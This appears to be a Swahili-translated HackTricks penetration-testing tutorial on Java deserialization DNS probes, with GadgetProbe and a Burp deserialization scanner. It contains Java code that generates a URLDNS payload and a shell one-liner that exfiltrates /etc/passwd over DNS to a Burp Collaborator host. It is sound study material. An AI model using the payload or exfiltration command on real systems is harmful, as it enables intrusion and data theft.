Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ombi la DNS kwenye ufichuzi

Darasa la java.net.URL linatekeleza Serializable, hii inamaanisha kuwa darasa hili linaweza kuserilishwa.

public final class URL implements java.io.Serializable {

Darasa hili lina tabia ya kushangaza. Kutoka kwa hati ya maelezo: "Wenyeji wawili wanachukuliwa kuwa sawa ikiwa majina yote ya mwenyeji yanaweza kutatuliwa kuwa anwani sawa za IP". Kisha, kila wakati kitu cha URL kinaita moja kwa moja ya kazi sawa au hashCode ombi la DNS kupata Anwani ya IP itatumwa.

Kuita kazi hashCode kutoka kwa kitu cha URL ni rahisi sana, ni vya kutosha kuingiza kitu hiki ndani ya HashMap ambayo itadeserialized. Hii ni kwa sababu mwishoni mwa kazi ya readObject kutoka kwa HashMap msimbo huu unatekelezwa:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Hii ni kwenda kutekeleza putVal na kila thamani ndani ya HashMap. Lakini, muhimu zaidi ni wito wa hash na kila thamani. Hii ni nambari ya kazi ya hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Kama unavyoweza kushuhudia, wakati wa kudezirializa HashMap kazi ya hash itatekelezwa kwa kila kitu na wakati wa utekelezaji wa hash itatekelezwa .hashCode() ya kitu. Kwa hivyo, ikiwa unadezirializa HashMap yenye kitu cha URL, kitu cha URL kitatekeleza .hashCode().

Sasa, tuchunguze nambari ya URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Kama unavyoweza kuona, wakati URLObject inatekeleza .hashCode() inaitwa hashCode(this). Kuendelea unaweza kuona nambari ya kazi hii:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Unaweza kuona kwamba getHostAddress inatekelezwa kwa kikoa, kuzindua ombi la DNS.

Hivyo, darasa hili linaweza kutumiwa vibaya ili kuzindua ombi la DNS ili kuonyesha kwamba kuserilishwa kunawezekana, au hata kuvuja taarifa (unaweza kuongeza kama subdomain matokeo ya utekelezaji wa amri).

Mfano wa msimbo wa mzigo wa URLDNS

Unaweza kupata msimbo wa mzigo wa URLDNS kutoka ysoserial hapa. Hata hivyo, kwa lengo la kufanya iwe rahisi kuelewa jinsi ya kuandika msimbo huo, nimeunda Msimbo wa Mfano wangu (ukizingatia ule kutoka ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Taarifa zaidi

GadgetProbe

Unaweza kupakua GadgetProbe kutoka kwa Duka la Programu la Burp Suite (Extender).

GadgetProbe itajaribu kugundua ikiwa baadhi ya darasa za Java zipo kwenye darasa la seva ili ujue ikiwa ina kasoro ya baadhi ya shambulio lililojulikana.

Inafanyaje kazi

GadgetProbe itatumia mzigo sawa wa DNS wa sehemu iliyopita lakini kabla ya kutekeleza uchunguzi wa DNS itajaribu kudezilia darasa la kiholela. Ikiwa darasa la kiholela lipo, ombi la DNS litatumiwa na GadgetProbe itaandika kuwa darasa hili lipo. Ikiwa ombi la DNS halijatumwa, hii inamaanisha kuwa darasa la kiholela halikudeziliwa kwa mafanikio hivyo linaweza kutokuwepo au halitumiki/kutumiwa vibaya.

Ndani ya github, GadgetProbe ina orodha ya maneno na darasa za Java za kupimwa.

Taarifa Zaidi

Java Deserialization Scanner

Scanner huyu anaweza kupakuliwa kutoka kwa Duka la Programu la Burp (Extender). Upanuzi una uwezo wa kupita na uwezo wa kitendo.

Kupita

Kwa chaguo-msingi inachunguza kwa upande maombi yote na majibu yaliyotumwa kutafuta baiti za uchawi zilizosanidiwa za Java na itatoa onyo la kasoro ikiwa itapatikana:

Kitendo

Upimaji wa Kibinafsi

Unaweza kuchagua ombi, bofya kulia na Tuma ombi kwa DS - Upimaji wa Kibinafsi. Kisha, ndani ya Kichupo cha Scanner cha Kudezilia --> Kichupo cha upimaji wa kibinafsi unaweza kuchagua sehemu ya kuingiza. Na anzisha upimaji (Chagua shambulio sahihi kulingana na usimbaji unaotumiwa).

Hata kama hii inaitwa "Upimaji wa Kibinafsi", ni kielelezo cha kiotomatiki. Itachunguza moja kwa moja ikiwa kudezilia kuna kasoro kwa mzigo wowote wa ysoserial ikichunguza maktaba zilizopo kwenye seva ya wavuti na itaonyesha zile zinazoweza kuathiriwa. Ili kuchunguza maktaba zinazoweza kuathiriwa unaweza kuchagua kuzindua Javas Sleeps, sleeps kupitia matumizi ya CPU, au kutumia DNS kama ilivyotajwa hapo awali.

Kutumia

Marafiki umetambua maktaba inayoweza kuathiriwa unaweza kutuma ombi kwa Kichupo cha Kutumia. Katika kichupo hiki unapaswa kuchagua tena sehemu ya kuingiza, na andika maktaba inayoweza kuathiriwa unayotaka kuunda mzigo kwa, na amri. Kisha, bonyeza kitufe sahihi cha Shambulio.

Taarifa ya Java Deserialization DNS Exfil

Fanya mzigo wako utekeleze kitu kama hiki:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Taarifa Zaidi

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated